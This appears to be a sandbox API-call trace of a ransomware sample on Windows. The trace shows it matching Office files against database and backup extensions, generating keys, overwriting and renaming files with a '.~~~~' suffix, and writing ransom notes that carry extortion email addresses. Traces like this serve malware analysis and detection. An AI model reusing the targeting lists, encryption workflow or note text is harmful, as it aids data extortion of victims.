	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".sdf") returned 0x0
	[0081.490] lstrlenW (lpString=".accdb") returned 6
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".accdb") returned 0x0
	[0081.490] lstrlenW (lpString=".DBX") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DBX") returned 0x0
	[0081.490] lstrlenW (lpString=".MDT") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".MDT") returned 0x0
	[0081.491] lstrlenW (lpString=".SQB") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".SQB") returned 0x0
	[0081.491] lstrlenW (lpString=".vhd") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".vhd") returned 0x0
	[0081.491] lstrlenW (lpString=".bac") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".bac") returned 0x0
	[0081.491] lstrlenW (lpString=".mdf") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".mdf") returned 0x0
	[0081.491] lstrlenW (lpString=".BAK") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".BAK") returned 0x0
	[0081.491] lstrlenW (lpString=".BAC") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".BAC") returned 0x0
	[0081.491] lstrlenW (lpString=".dbs") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".dbs") returned 0x0
	[0081.491] lstrlenW (lpString=".vhdx") returned 5
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".vhdx") returned 0x0
	[0081.491] lstrlenW (lpString=".NDF") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".NDF") returned 0x0
	[0081.491] lstrlenW (lpString=".dat") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".dat") returned 0x0
	[0081.491] lstrlenW (lpString=".DBS") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DBS") returned 0x0
	[0081.491] lstrlenW (lpString=".CKP") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".CKP") returned 0x0
	[0081.491] lstrlenW (lpString=".edb") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".edb") returned 0x0
	[0081.491] lstrlenW (lpString=".PST") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".PST") returned 0x0
	[0081.491] lstrlenW (lpString=".dbf") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".dbf") returned 0x0
	[0081.491] lstrlenW (lpString=".SQL") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".SQL") returned 0x0
	[0081.491] lstrlenW (lpString=".pst") returned 4
	[0081.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".pst") returned 0x0
	[0081.492] lstrlenW (lpString=".dbv") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".dbv") returned 0x0
	[0081.492] lstrlenW (lpString=".SDF") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".SDF") returned 0x0
	[0081.492] lstrlenW (lpString=".dtxs") returned 5
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".dtxs") returned 0x0
	[0081.492] lstrlenW (lpString=".db3") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".db3") returned 0x0
	[0081.492] lstrlenW (lpString=".OST") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".OST") returned 0x0
	[0081.492] lstrlenW (lpString=".dbx") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".dbx") returned 0x0
	[0081.492] lstrlenW (lpString=".DB3") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DB3") returned 0x0
	[0081.492] lstrlenW (lpString=".DAT") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DAT") returned 0x0
	[0081.492] lstrlenW (lpString=".VHDX") returned 5
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".VHDX") returned 0x0
	[0081.492] lstrlenW (lpString=".ndf") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".ndf") returned 0x0
	[0081.492] lstrlenW (lpString=".DB") returned 3
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DB") returned 0x0
	[0081.492] lstrlenW (lpString=".sql") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".sql") returned 0x0
	[0081.492] lstrlenW (lpString=".MYD") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".MYD") returned 0x0
	[0081.492] lstrlenW (lpString=".DBT") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DBT") returned 0x0
	[0081.492] lstrlenW (lpString=".ACCDB") returned 6
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".ACCDB") returned 0x0
	[0081.492] lstrlenW (lpString=".fdb") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".fdb") returned 0x0
	[0081.492] lstrlenW (lpString=".bak") returned 4
	[0081.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".bak") returned 0x0
	[0081.492] lstrlenW (lpString=".myd") returned 4
	[0081.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".myd") returned 0x0
	[0081.493] lstrlenW (lpString=".DTXS") returned 5
	[0081.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DTXS") returned 0x0
	[0081.493] lstrlenW (lpString=".ckp") returned 4
	[0081.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".ckp") returned 0x0
	[0081.493] lstrlenW (lpString=".dbt") returned 4
	[0081.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".dbt") returned 0x0
	[0081.493] lstrlenW (lpString=".db") returned 3
	[0081.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".db") returned 0x0
	[0081.493] lstrlenW (lpString=".TXT") returned 4
	[0081.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".TXT") returned 0x0
	[0081.493] lstrlenW (lpString=".MDF") returned 4
	[0081.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".MDF") returned 0x0
	[0081.493] lstrlenW (lpString=".bdb") returned 4
	[0081.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".bdb") returned 0x0
	[0081.493] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.493] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.494] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.494] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0081.494] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20148421467) returned 1
	[0081.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a6d2bf0, dwHighDateTime=0x1d60e1e)) 
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe248
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe248 | out: hHeap=0x300000) returned 1
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.495] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.495] GetLastError () returned 0x0
	[0081.495] GetLastError () returned 0x0
	[0081.495] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.495] GetLastError () returned 0x0
	[0081.495] GetLastError () returned 0x0
	[0081.495] ReadFile (in: hFile=0x118, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x2213, lpOverlapped=0x0) returned 1
	[0081.512] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffdded, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.512] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x2213, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x2213, lpOverlapped=0x0) returned 1
	[0081.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.534] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.534] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.534] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.534] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.534] CloseHandle (hObject=0x118) returned 1
	[0081.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800fe8
	[0081.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.~~~~")) returned 1
	[0081.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800fe8 | out: hHeap=0x300000) returned 1
	[0081.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.535] GetLastError () returned 0x0
	[0081.535] RtlWakeConditionVariable () returned 0x365f70
	[0081.535] GetCurrentThreadId () returned 0x9f4
	[0081.535] GetCurrentThreadId () returned 0x9f4
	[0081.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800fe8
	[0081.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28011b8 | out: hHeap=0x300000) returned 1
	[0081.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe328 | out: hHeap=0x300000) returned 1
	[0081.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28011b8
	[0081.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.536] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.536] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.537] CloseHandle (hObject=0x118) returned 1
	[0081.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28011b8 | out: hHeap=0x300000) returned 1
	[0081.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800fe8 | out: hHeap=0x300000) returned 1
	[0081.537] RtlWakeConditionVariable () returned 0x365f70
	[0081.537] GetCurrentThreadId () returned 0x9f4
	[0081.537] GetCurrentThreadId () returned 0x9f4
	[0081.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3c70 | out: hHeap=0x300000) returned 1
	[0081.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe360 | out: hHeap=0x300000) returned 1
	[0081.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3c70
	[0081.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.538] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.538] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.539] CloseHandle (hObject=0x118) returned 1
	[0081.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3c70 | out: hHeap=0x300000) returned 1
	[0081.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0081.539] RtlWakeConditionVariable () returned 0x365f70
	[0081.539] GetCurrentThreadId () returned 0x9f4
	[0081.539] GetCurrentThreadId () returned 0x9f4
	[0081.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7390 | out: hHeap=0x300000) returned 1
	[0081.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe398 | out: hHeap=0x300000) returned 1
	[0081.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7390
	[0081.539] lstrlenW (lpString=".scr") returned 4
	[0081.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".scr") returned 0x0
	[0081.539] lstrlenW (lpString=".cmd") returned 4
	[0081.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".cmd") returned 0x0
	[0081.539] lstrlenW (lpString=".dll") returned 4
	[0081.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".dll") returned 0x0
	[0081.539] lstrlenW (lpString=".bat") returned 4
	[0081.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".bat") returned 0x0
	[0081.540] lstrlenW (lpString=".cpl") returned 4
	[0081.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".cpl") returned 0x0
	[0081.540] lstrlenW (lpString=".sys") returned 4
	[0081.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".sys") returned 0x0
	[0081.540] lstrlenW (lpString=".msc") returned 4
	[0081.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".msc") returned 0x0
	[0081.540] lstrlenW (lpString=".com") returned 4
	[0081.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".com") returned 0x0
	[0081.540] lstrlenW (lpString=".lnk") returned 4
	[0081.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".lnk") returned 0x0
	[0081.540] lstrlenW (lpString=".msp") returned 4
	[0081.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".msp") returned 0x0
	[0081.540] lstrlenW (lpString=".pif") returned 4
	[0081.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".pif") returned 0x0
	[0081.540] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.614] lstrlenW (lpString=".sqb") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".sqb") returned 0x0
	[0081.614] lstrlenW (lpString=".ost") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".ost") returned 0x0
	[0081.614] lstrlenW (lpString=".txt") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".txt") returned 0x0
	[0081.614] lstrlenW (lpString=".mdt") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".mdt") returned 0x0
	[0081.614] lstrlenW (lpString=".BDB") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".BDB") returned 0x0
	[0081.614] lstrlenW (lpString=".eql") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".eql") returned 0x0
	[0081.614] lstrlenW (lpString=".DBF") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DBF") returned 0x0
	[0081.614] lstrlenW (lpString=".EQL") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".EQL") returned 0x0
	[0081.614] lstrlenW (lpString=".FDB") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".FDB") returned 0x0
	[0081.614] lstrlenW (lpString=".EDB") returned 4
	[0081.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".EDB") returned 0x0
	[0081.614] lstrlenW (lpString=".DACPAC") returned 7
